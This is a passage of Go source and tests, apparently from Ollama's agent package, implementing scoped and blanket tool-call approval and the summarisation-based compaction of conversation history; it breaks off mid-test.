type ApprovalToolCall struct {
ToolCallID string
ToolName string
Args map[string]any
ApprovalScope string
}
type Approval struct {
Allow bool
AllowAll bool
AllowScopes []string
Reason string
}
type ApprovalPrompter interface {
PromptApproval(context.Context, ApprovalRequest) (Approval, error)
}
type ApprovalState struct {
mu sync.RWMutex
allowAll bool
scopes map[string]bool
}
func (s *ApprovalState) Set(allowAll bool, scopes map[string]bool) {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
s.allowAll = allowAll
s.scopes = cloneApprovalScopes(scopes)
}
// GrantAll grants blanket approval for all future tool calls.
func (s *ApprovalState) GrantAll() {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
s.allowAll = true
}
// AllGranted reports whether blanket approval has been granted.
func (s *ApprovalState) AllGranted() bool {
if s == nil {
return false
}
s.mu.RLock()
defer s.mu.RUnlock()
return s.allowAll
}
func (s *ApprovalState) Allows(scope string) bool {
if s == nil {
return false
}
s.mu.RLock()
defer s.mu.RUnlock()
return s.allowAll || s.scopes[scope]
}
// Apply merges an approval's scopes and allow-all flag into the state. It
// returns true if the approval grants permission (allow-all or at least one
// scope). It does not mutate the approval; the caller sets Allow based on the
// returned value.
func (s *ApprovalState) Apply(result *Approval) bool {
if s == nil || result == nil {
return false
}
s.mu.Lock()
defer s.mu.Unlock()
granted := false
if result.AllowAll {
s.allowAll = true
granted = true
}
if len(result.AllowScopes) > 0 {
granted = true
s.grantScopesLocked(result.AllowScopes)
}
return granted
}
// GrantScopes merges the given scopes into the state.
func (s *ApprovalState) GrantScopes(scopes []string) {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
s.grantScopesLocked(scopes)
}
// grantScopesLocked adds trimmed, non-empty scopes to the state. Caller must
// hold s.mu.
func (s *ApprovalState) grantScopesLocked(scopes []string) {
if s.scopes == nil {
s.scopes = make(map[string]bool, len(scopes))
}
for _, scope := range scopes {
scope = strings.TrimSpace(scope)
if scope != "" {
s.scopes[scope] = true
}
}
}
func cloneApprovalScopes(src map[string]bool) map[string]bool {
if len(src) == 0 {
return nil
}
dst := make(map[string]bool, len(src))
for scope, allowed := range src {
if allowed {
dst[scope] = true
}
}
return dst
}
func (s *Session) needsApproval(tool Tool, name string, args map[string]any) bool {
return ToolRequiresApproval(tool, args) && !s.allows(toolApprovalScope(tool, name, args))
}
// allows reports whether scope is permitted by the session's accumulated approval state.
func (s *Session) allows(scope string) bool {
if s == nil || s.ApprovalState == nil {
return false
}
return s.ApprovalState.Allows(scope)
}
// applyApproval merges an approval result into the session's state and marks
// the result as allowed when scopes or allow-all were granted.
func (s *Session) applyApproval(result *Approval) {
if s == nil || result == nil {
return
}
if s.ApprovalState == nil {
s.ApprovalState = &ApprovalState{}
}
if s.ApprovalState.Apply(result) {
result.Allow = true
}
}
func (s *Session) authorizeToolCalls(ctx context.Context, req ApprovalRequest) (Approval, error) {
if s == nil || len(req.Calls) == 0 || (s.ApprovalState != nil && s.ApprovalState.AllGranted()) {
return Approval{Allow: true}, nil
}
if s.ApprovalPrompter == nil {
return Approval{
Reason: "Tool execution requires approval, but no approval prompter is available.",
}, nil
}
result, err := s.ApprovalPrompter.PromptApproval(ctx, req)
if err != nil {
return Approval{}, err
}
s.applyApproval(&result)
return result, nil
}
// toolApprovalScope returns the approval scope key for a tool invocation.
// If the tool implements ScopedTool, its ApprovalScope method determines the
// scope (e.g. shell tools scope to "<tool>\x00<command>"). Otherwise the scope
// is the trimmed tool name.
func toolApprovalScope(tool Tool, toolName string, args map[string]any) string {
if scoped, ok := tool.(ScopedTool); ok {
return scoped.ApprovalScope(args)
}
return strings.TrimSpace(toolName)
}
+95
View File
@@ -0,0 +1,95 @@
package agent
import (
"context"
"strings"
"testing"
"github.com/ollama/ollama/api"
)
type mockTool struct {
name string
}
func (m mockTool) Name() string { return m.name }
func (m mockTool) Description() string { return "" }
func (m mockTool) Schema() api.ToolFunction {
return api.ToolFunction{Name: m.name}
}
func (m mockTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
return ToolResult{}, nil
}
func TestToolApprovalScopeUsesScopedTool(t *testing.T) {
shellTool := mockScopedTool{
mockTool: mockTool{name: "bash"},
scope: func(args map[string]any) string {
if cmd, ok := args["command"].(string); ok {
cmd = strings.TrimSpace(cmd)
if cmd != "" {
return "bash\x00" + cmd
}
}
return "bash"
},
}
plainTool := mockTool{name: "edit"}
tests := []struct {
tool Tool
name string
args map[string]any
want string
}{
{shellTool, "bash", map[string]any{"command": " pwd "}, "bash\x00pwd"},
{shellTool, "bash", map[string]any{"command": "Get-ChildItem"}, "bash\x00Get-ChildItem"},
{plainTool, "edit", map[string]any{"path": "README.md"}, "edit"},
}
for _, tt := range tests {
if got := toolApprovalScope(tt.tool, tt.name, tt.args); got != tt.want {
t.Fatalf("toolApprovalScope(%q) = %q, want %q", tt.name, got, tt.want)
}
}
}
type mockScopedTool struct {
mockTool
scope func(args map[string]any) string
}
func (m mockScopedTool) ApprovalScope(args map[string]any) string {
return m.scope(args)
}
func TestSessionApplyApprovalScopes(t *testing.T) {
session := &Session{}
result := Approval{AllowScopes: []string{"edit", "bash\x00pwd", " "}}
session.applyApproval(&result)
if !result.Allow {
t.Fatal("scoped approval should allow the current request")
}
if !session.allows("edit") || !session.allows("bash\x00pwd") {
t.Fatal("scoped approval was not saved")
}
if session.allows("bash") || session.allows("bash\x00ls") {
t.Fatal("shell approval was too broad")
}
if session.ApprovalState.AllGranted() {
t.Fatal("allow all = true, want false for scoped approval")
}
}
func TestSessionApplyApprovalAllowAll(t *testing.T) {
session := &Session{}
result := Approval{AllowAll: true}
session.applyApproval(&result)
if !result.Allow || !session.allows("anything") {
t.Fatalf("allow all = %v result = %#v, want allow all", session.ApprovalState.AllGranted(), result)
}
}
+667
View File
@@ -0,0 +1,667 @@
package agent
import (
"context"
"encoding/json"
"errors"
"fmt"
"net/http"
"strings"
"github.com/ollama/ollama/api"
)
// Compaction wire-format. These constants and helpers are the single canonical
// definition of how a compacted turn is represented in message history.
const (
CompactionSummaryMessagePrefix = "Conversation summary:\n"
CompactionToolName = "summary"
CompactionToolCallID = "ollama_compaction"
CompactionContinueInstruction = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
)
const (
defaultCompactionContextWindowTokens = 32768
defaultCompactionKeepUserTurns = 3
defaultCompactionThreshold = 0.8
compactOnlySummaryContextTokens = 16000
maxCompactionSummaryRunes = 16 * 1024
compactionSystemPrompt = "Summarize the archived part of an Ollama agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
)
type Compactor interface {
MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
// ContextWindowTokens returns the effective context window size in
// tokens, resolving runtime options against configured defaults.
ContextWindowTokens(options map[string]any) int
// Threshold returns the compaction threshold as a fraction of the
// context window (e.g. 0.8 means compact at 80% capacity).
Threshold() float64
// ShouldCompact reports whether a compaction should run and returns the
// trigger reason. An empty trigger means compaction is not needed.
ShouldCompact(req CompactionRequest) (trigger string, should bool)
}
type CompactionOptions struct {
ContextWindowTokens int
KeepUserTurns int
Threshold float64
}
type CompactionRequest struct {
ChatID string
Model string
SystemPrompt string
Messages []api.Message
Tools api.Tools
Format string
Latest api.ChatResponse
Options map[string]any
KeepAlive *api.Duration
Think *api.ThinkValue
Force bool
ContinueTask bool
KeepUserTurns *int
Progress func(CompactionProgress)
}
type CompactionProgress struct {
Tokens int
}
type CompactionResult struct {
Messages []api.Message
Compacted bool
Due bool
Summary string
Reason string
}
type SimpleCompactor struct {
Client ChatClient
Options CompactionOptions
}
func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
result := CompactionResult{Messages: req.Messages}
if c == nil {
return result, nil
}
result.Due = req.Force || c.shouldCompact(req)
if !result.Due {
return result, nil
}
if c.Client == nil {
result.Reason = "compaction is unavailable"
return result, nil
}
keepUserTurns := c.keepUserTurns(req.Options)
if req.KeepUserTurns != nil {
keepUserTurns = *req.KeepUserTurns
}
prefix, previousSummary, archive, suffix, _, ok := splitCompactionMessages(req.Messages, keepUserTurns)
if !ok || len(archive) == 0 {
result.Reason = "nothing to compact"
return result, nil
}
summary, err := c.summarize(ctx, req, previousSummary, archive)
if err != nil {
result.Reason = err.Error()
return result, err
}
summary = truncateCompactionSummary(strings.TrimSpace(summary))
if summary == "" {
summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
if err != nil {
result.Reason = err.Error()
return result, err
}
summary = truncateCompactionSummary(strings.TrimSpace(summary))
}
if summary == "" {
result.Reason = "summary was empty"
return result, nil
}
compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
compacted = append(compacted, prefix...)
compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...)
compacted = append(compacted, suffix...)
result.Messages = compacted
result.Compacted = true
result.Summary = summary
return result, nil
}
func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
contextWindow := c.contextWindowTokens(req.Options)
threshold := int(float64(contextWindow) * c.threshold())
if threshold <= 0 {
return false
}
if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
return true
}
return estimateCompactionRequestTokens(req) >= threshold
}
func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
}
// ContextWindowTokens resolves the effective context window from runtime
// options or configured defaults. Satisfies the Compactor interface.
func (c *SimpleCompactor) ContextWindowTokens(options map[string]any) int {
if c == nil {
return 0
}
return c.contextWindowTokens(options)
}
func (c *SimpleCompactor) threshold() float64 {
return ResolveCompactionThreshold(c.Options.Threshold)
}
// Threshold returns the configured compaction threshold fraction. Satisfies
// the Compactor interface.
func (c *SimpleCompactor) Threshold() float64 {
if c == nil {
return 0
}
return c.threshold()
}
// ShouldCompact reports whether compaction is due and the trigger reason.
// Satisfies the Compactor interface.
func (c *SimpleCompactor) ShouldCompact(req CompactionRequest) (string, bool) {
if c == nil {
return "", false
}
if req.Force {
return "force", true
}
if c.shouldCompact(req) {
contextWindow := c.contextWindowTokens(req.Options)
threshold := int(float64(contextWindow) * c.threshold())
if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
return "prompt_eval", true
}
return "estimate", true
}
return "", false
}
func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
contextWindow := c.contextWindowTokens(options)
if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
return 0
}
if c.Options.KeepUserTurns > 0 {
return c.Options.KeepUserTurns
}
return defaultCompactionKeepUserTurns
}
func ResolveContextWindowTokens(options map[string]any, configured int) int {
if n := intOption(options, "num_ctx"); n > 0 {
return n
}
if configured > 0 {
return configured
}
return defaultCompactionContextWindowTokens
}
func ResolveCompactionThreshold(configured float64) float64 {
if configured > 0 {
return configured
}
return defaultCompactionThreshold
}
func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
if err != nil {
return "", err
}
chatReq := &api.ChatRequest{
Model: req.Model,
Messages: []api.Message{
{
Role: "system",
Content: compactionSystemPrompt,
},
{
Role: "user",
Content: body,
},
},
Options: req.Options,
Think: req.Think,
}
if req.KeepAlive != nil {
chatReq.KeepAlive = req.KeepAlive
}
var summary strings.Builder
if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
summary.WriteString(response.Message.Content)
if req.Progress != nil {
tokens := response.EvalCount
if tokens <= 0 {
tokens = estimateCompactionTokens(summary.String())
}
req.Progress(CompactionProgress{Tokens: tokens})
}
return nil
}); err != nil {
return "", err
}
return summary.String(), nil
}
func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
retry := req
retry.Think = &api.ThinkValue{Value: false}
summary, err := c.summarize(ctx, retry, previousSummary, archive)
if err == nil {
return summary, nil
}
if !isUnsupportedCompactionThinkError(err) {
return "", err
}
if req.Think == nil {
return "", nil
}
retry.Think = nil
return c.summarize(ctx, retry, previousSummary, archive)
}
func isUnsupportedCompactionThinkError(err error) bool {
if err == nil {
return false
}
text := strings.ToLower(err.Error())
if !strings.Contains(text, "think") {
return false
}
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
return statusErr.StatusCode == http.StatusBadRequest
}
return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
}
// compactionSummaryMessageForTask renders a compaction summary as the content
// string stored on the synthetic tool-result message.
func compactionSummaryMessageForTask(summary string, continueTask bool) string {
content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary)
if continueTask {
content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction
}
return content
}
// CompactionSummaryMessages renders a compaction summary as the assistant
// tool-call plus tool-result pair that represents a compacted turn in the
// message history.
func CompactionSummaryMessages(summary string, continueTask bool) []api.Message {
return []api.Message{
{
Role: "assistant",
ToolCalls: []api.ToolCall{{
ID: CompactionToolCallID,
Function: api.ToolCallFunction{
Name: CompactionToolName,
},
}},
},
{
Role: "tool",
ToolName: CompactionToolName,
ToolCallID: CompactionToolCallID,
Content: compactionSummaryMessageForTask(summary, continueTask),
},
}
}
func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
contextWindow := c.contextWindowTokens(options)
threshold := int(float64(contextWindow) * c.threshold())
if threshold <= 0 {
return 0
}
systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
userRoleTokens := estimateCompactionTokens("user")
budget := threshold - systemTokens - userRoleTokens
if budget <= 0 {
return 0
}
return budget
}
func truncateCompactionSummary(summary string) string {
return Truncate(summary, TruncateConfig{
MaxRunes: maxCompactionSummaryRunes,
Label: "summary",
})
}
func estimateCompactionTokens(text string) int {
text = strings.TrimSpace(text)
if text == "" {
return 0
}
return ApproximateTokens(len([]rune(text)))
}
func estimateMessagesTokens(messages []api.Message) int {
var total int
for _, msg := range messages {
total += estimateCompactionTokens(msg.Role)
total += estimateCompactionTokens(msg.Content)
total += estimateCompactionTokens(msg.Thinking)
total += estimateCompactionTokens(msg.ToolName)
total += estimateCompactionTokens(msg.ToolCallID)
for _, call := range msg.ToolCalls {
total += estimateCompactionTokens(call.Function.Name)
total += estimateCompactionTokens(call.Function.Arguments.String())
}
}
return total
}
func estimateCompactionRequestTokens(req CompactionRequest) int {
requestMessages := sanitizeMessagesForEstimate(req.Messages)
if strings.TrimSpace(req.SystemPrompt) != "" {
requestMessages = make([]api.Message, 0, len(req.Messages)+1)
requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...)
}
payload := struct {
Messages []api.Message `json:"messages,omitempty"`
Tools api.Tools `json:"tools,omitempty"`
Format json.RawMessage `json:"format,omitempty"`
}{
Messages: requestMessages,
Tools: req.Tools,
}
if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
payload.Format = rawFormat
}
if data, err := json.Marshal(payload); err == nil {
return estimateCompactionTokens(string(data))
}
total := estimateMessagesTokens(requestMessages)
total += estimateCompactionTokens(req.Tools.String())
total += estimateCompactionTokens(req.Format)
return total
}
func (s *Session) estimateRunPromptTokens(opts RunOptions, messages []api.Message) int {
return estimateCompactionRequestTokens(CompactionRequest{
SystemPrompt: opts.SystemPrompt,
Messages: messages,
Tools: s.availableTools(),
Format: opts.Format,
Options: opts.Options,
})
}
func (s *Session) checkPreflightPromptBudget(opts RunOptions, messages []api.Message) error {
contextWindow := s.contextWindowTokens(opts)
if contextWindow <= 0 {
return nil
}
estimated := s.estimateRunPromptTokens(opts, messages)
if estimated < contextWindow {
return nil
}
return fmt.Errorf("prompt is too large for the current context (~%d/%d tokens). Reduce the system prompt or message history, compact the conversation, or use a model with a larger context", estimated, contextWindow)
}
func (s *Session) checkPostCompactionPromptBudget(opts RunOptions, messages []api.Message) error {
contextWindow := s.contextWindowTokens(opts)
if contextWindow <= 0 {
return nil
}
estimated := s.estimateRunPromptTokens(opts, messages)
if estimated < contextWindow {
return nil
}
return fmt.Errorf("history is still too large after compaction (~%d/%d tokens). Start a fresh request, reduce the system prompt or history, or use a model with a larger context", estimated, contextWindow)
}
func sanitizeMessagesForEstimate(messages []api.Message) []api.Message {
requestMessages := sanitizeMessagesForRequest(messages)
for i := range requestMessages {
// Image token accounting is model-specific. Without the active model's
// tokenizer and vision accounting, raw image bytes/base64 make the
// estimate look much larger than the prompt the model actually sees.
requestMessages[i].Images = nil
}
return requestMessages
}
func compactionFormatForEstimate(format string) (json.RawMessage, bool) {
format = strings.TrimSpace(format)
if format == "" {
return nil, false
}
if format == "json" {
return json.RawMessage(`"json"`), true
}
if !json.Valid([]byte(format)) {
return nil, false
}
return json.RawMessage(format), true
}
func compactionPrompt(previousSummary string, archive []api.Message, maxTokens int) (string, error) {
messages := make([]api.Message, 0, len(archive))
for _, msg := range archive {
msg.Thinking = ""
msg.Images = nil
messages = append(messages, msg)
}
return renderCompactionPrompt(previousSummary, fitCompactionMessagesToBudget(previousSummary, messages, maxTokens))
}
func renderCompactionPrompt(previousSummary string, messages []api.Message) (string, error) {
payload, err := json.MarshalIndent(messages, "", " ")
if err != nil {
return "", fmt.Errorf("marshal compaction messages: %w", err)
}
var b strings.Builder
if strings.TrimSpace(previousSummary) != "" {
b.WriteString("Previous summary:\n")
b.WriteString(strings.TrimSpace(previousSummary))
b.WriteString("\n\n")
}
b.WriteString("Messages to archive as JSON:\n")
b.Write(payload)
return b.String(), nil
}
func fitCompactionMessagesToBudget(previousSummary string, messages []api.Message, maxTokens int) []api.Message {
if maxTokens <= 0 {
return messages
}
fitted := append([]api.Message(nil), messages...)
for range 16 {
body, err := renderCompactionPrompt(previousSummary, fitted)
if err != nil || estimateCompactionTokens(body) <= maxTokens {
return fitted
}
idx := largestCompactionContentMessage(fitted)
if idx < 0 {
return fitted
}
overageTokens := estimateCompactionTokens(body) - maxTokens
currentRunes := len([]rune(fitted[idx].Content))
nextRunes := currentRunes - overageTokens*4 - 256
if nextRunes >= currentRunes {
nextRunes = currentRunes / 2
}
fitted[idx].Content = truncateToolResultContentTo(fitted[idx].Content, nextRunes)
}
return fitted
}
func largestCompactionContentMessage(messages []api.Message) int {
idx := -1
size := 0
for i, msg := range messages {
n := len([]rune(msg.Content))
if n > size {
idx = i
size = n
}
}
return idx
}
func splitCompactionMessages(messages []api.Message, keepUserTurns int) (prefix []api.Message, previousSummary string, archive []api.Message, suffix []api.Message, keptUserTurns int, ok bool) {
if keepUserTurns < 0 {
keepUserTurns = defaultCompactionKeepUserTurns
}
start := 0
for start < len(messages) && messages[start].Role == "system" && !isCompactionSummary(messages[start]) {
prefix = append(prefix, messages[start])
start++
}
candidates := make([]api.Message, 0, len(messages)-start)
for i := start; i < len(messages); i++ {
msg := messages[i]
if isCompactionSummary(msg) {
previousSummary = CompactionSummaryText(msg.Content)
continue
}
if isCompactionToolCall(msg) {
if i+1 < len(messages) && isCompactionSummary(messages[i+1]) {
previousSummary = CompactionSummaryText(messages[i+1].Content)
i++
}
continue
}
candidates = append(candidates, msg)
}
userTurnIndexes := make([]int, 0, keepUserTurns)
for i := len(candidates) - 1; i >= 0; i-- {
if candidates[i].Role == "user" {
userTurnIndexes = append(userTurnIndexes, i)
}
}
keptUserTurns = keepUserTurns
if len(userTurnIndexes) <= keptUserTurns {
keptUserTurns = len(userTurnIndexes) - 1
}
if keptUserTurns < 0 {
keptUserTurns = 0
}
suffixStart := len(candidates)
if keptUserTurns > 0 {
suffixStart = userTurnIndexes[keptUserTurns-1]
}
if suffixStart <= 0 || len(candidates[:suffixStart]) == 0 {
return prefix, previousSummary, nil, nil, keptUserTurns, false
}
return prefix, previousSummary, candidates[:suffixStart], candidates[suffixStart:], keptUserTurns, true
}
func isCompactionToolName(name string) bool {
return name == CompactionToolName
}
func isCompactionSummary(msg api.Message) bool {
return (msg.Role == "user" || msg.Role == "system" || (msg.Role == "tool" && isCompactionToolName(msg.ToolName))) &&
strings.HasPrefix(msg.Content, CompactionSummaryMessagePrefix)
}
// IsCompactionSummary reports whether msg uses the canonical compaction
// summary message representation.
func IsCompactionSummary(msg api.Message) bool {
return isCompactionSummary(msg)
}
// CompactionSummaryContent returns the user-visible summary from msg when it
// is a canonical compaction summary.
func CompactionSummaryContent(msg api.Message) (string, bool) {
if !isCompactionSummary(msg) {
return "", false
}
return CompactionSummaryText(msg.Content), true
}
// IsCompactionToolResult reports whether msg is the synthetic tool result used
// to represent compaction in message history.
func IsCompactionToolResult(msg api.Message) bool {
return msg.Role == "tool" && (isCompactionToolName(msg.ToolName) || msg.ToolCallID == CompactionToolCallID)
}
// IsCompactionToolCall reports whether msg is the synthetic assistant tool
// call paired with a compaction summary result.
func IsCompactionToolCall(msg api.Message) bool {
return isCompactionToolCall(msg)
}
func isCompactionToolCall(msg api.Message) bool {
if msg.Role != "assistant" {
return false
}
for _, call := range msg.ToolCalls {
if isCompactionToolName(call.Function.Name) {
return true
}
}
return false
}
// CompactionSummaryText reverses CompactionSummaryMessages, returning the
// user-visible summary text with the prefix and any continuation instruction
// removed.
func CompactionSummaryText(content string) string {
return strings.TrimSpace(strings.TrimSuffix(
strings.TrimSpace(strings.TrimPrefix(content, CompactionSummaryMessagePrefix)),
CompactionContinueInstruction,
))
}
func intOption(options map[string]any, key string) int {
if options == nil {
return 0
}
switch v := options[key].(type) {
case int:
return v
case int64:
return int(v)
case float64:
return int(v)
case float32:
return int(v)
case json.Number:
n, _ := v.Int64()
return int(n)
default:
return 0
}
}
+773
View File
@@ -0,0 +1,773 @@
package agent
import (
"context"
"net/http"
"strings"
"testing"
"github.com/ollama/ollama/api"
)
type scriptedCompactionClient struct {
responses [][]api.ChatResponse
errs []error
requests []*api.ChatRequest
}
func (c *scriptedCompactionClient) Chat(_ context.Context, req *api.ChatRequest, fn api.ChatResponseFunc) error {
c.requests = append(c.requests, req)
i := len(c.requests) - 1
if i < len(c.responses) {
for _, response := range c.responses[i] {
if err := fn(response); err != nil {
return err
}
}
}
if i < len(c.errs) {
return c.errs[i]
}
return nil
}
func assertCompactionSummaryPair(t *testing.T, messages []api.Message) {
t.Helper()
if len(messages) != 2 {
t.Fatalf("compaction summary pair len = %d, want 2: %#v", len(messages), messages)
}
if messages[0].Role != "assistant" || len(messages[0].ToolCalls) != 1 || messages[0].ToolCalls[0].Function.Name != CompactionToolName {
t.Fatalf("compaction assistant message = %#v", messages[0])
}
if messages[0].ToolCalls[0].Function.Arguments.Len() != 0 {
t.Fatalf("compaction summary tool call should not have arguments: %#v", messages[0].ToolCalls[0].Function.Arguments.ToMap())
}
if messages[1].Role != "tool" || messages[1].ToolName != CompactionToolName || messages[1].ToolCallID != messages[0].ToolCalls[0].ID {
t.Fatalf("compaction tool result = %#v", messages[1])
}
if !strings.HasPrefix(messages[1].Content, CompactionSummaryMessagePrefix) {
t.Fatalf("compaction tool result missing summary prefix: %#v", messages[1])
}
}
func TestSimpleCompactorSummarizesOldMessages(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 2,
Threshold: 0.5,
}}
messages := []api.Message{
{Role: "system", Content: "stay pinned"},
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer", Thinking: "hidden"},
{Role: "user", Content: "recent one"},
{Role: "assistant", Content: "recent answer"},
{Role: "user", Content: "recent two"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
compacted := result.Messages
if len(compacted) != 6 {
t.Fatalf("compacted messages = %d, want 6", len(compacted))
}
if compacted[0].Content != "stay pinned" {
t.Fatalf("first message = %#v", compacted[0])
}
if result.Summary != "summary" {
t.Fatalf("result summary = %q", result.Summary)
}
assertCompactionSummaryPair(t, compacted[1:3])
if compacted[3].Content != "recent one" || compacted[5].Content != "recent two" {
t.Fatalf("recent turns were not kept: %#v", compacted)
}
if len(client.requests) != 1 {
t.Fatalf("summary requests = %d, want 1", len(client.requests))
}
if strings.Contains(client.requests[0].Messages[1].Content, "hidden") {
t.Fatal("compaction prompt should omit thinking")
}
}
func TestSimpleCompactorKeepsOnlySummaryForSmallContext(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "small context summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: compactOnlySummaryContextTokens - 1,
KeepUserTurns: 3,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
ContinueTask: true,
Messages: []api.Message{
{Role: "system", Content: "pinned"},
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "latest request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want system plus compaction summary pair", result.Messages)
}
if result.Messages[0].Content != "pinned" {
t.Fatalf("leading system message not kept: %#v", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[1:])
if !strings.Contains(result.Messages[2].Content, CompactionContinueInstruction) {
t.Fatalf("tool result missing continue instruction: %q", result.Messages[2].Content)
}
}
func TestSimpleCompactorAddsContinueTaskInstructionOnlyToToolResult(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
ContinueTask: true,
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if result.Summary != "summary" {
t.Fatalf("result summary = %q", result.Summary)
}
content := result.Messages[1].Content
if !strings.Contains(content, CompactionContinueInstruction) {
t.Fatalf("tool result missing continue instruction: %q", content)
}
if got := CompactionSummaryText(content); got != "summary" {
t.Fatalf("visible summary text = %q", got)
}
}
func TestSimpleCompactorTruncatesOversizedSummary(t *testing.T) {
longSummary := strings.Repeat("x", maxCompactionSummaryRunes+1024)
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: longSummary}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old one"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent one"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 75}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if runeCount := len([]rune(result.Summary)); runeCount > maxCompactionSummaryRunes+200 {
t.Fatalf("summary runes = %d, want <= %d (plus marker)", runeCount, maxCompactionSummaryRunes)
}
if !strings.Contains(result.Summary, "[summary truncated:") {
t.Fatalf("summary missing truncation marker: %q", result.Summary)
}
if !strings.Contains(result.Messages[1].Content, "[summary truncated:") {
t.Fatalf("compacted message missing truncation marker: %#v", result.Messages)
}
}
func TestSimpleCompactorRetriesEmptySummaryWithThinkFalse(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
{{Message: api.Message{Role: "assistant", Content: "fallback summary"}}},
},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old request"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent request"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted || result.Summary != "fallback summary" {
t.Fatalf("compaction result = %#v", result)
}
if len(client.requests) != 2 {
t.Fatalf("summary requests = %d, want 2", len(client.requests))
}
if client.requests[0].Think != nil {
t.Fatalf("first summary request think = %#v, want nil", client.requests[0].Think)
}
if client.requests[1].Think == nil || client.requests[1].Think.Value != false {
t.Fatalf("fallback summary request think = %#v, want false", client.requests[1].Think)
}
}
func TestSimpleCompactorIgnoresUnsupportedThinkFalseFallback(t *testing.T) {
client := &scriptedCompactionClient{
responses: [][]api.ChatResponse{
{{Message: api.Message{Role: "assistant", Thinking: "internal summary plan"}}},
nil,
},
errs: []error{
nil,
api.StatusError{StatusCode: http.StatusBadRequest, ErrorMessage: "model does not support thinking"},
},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
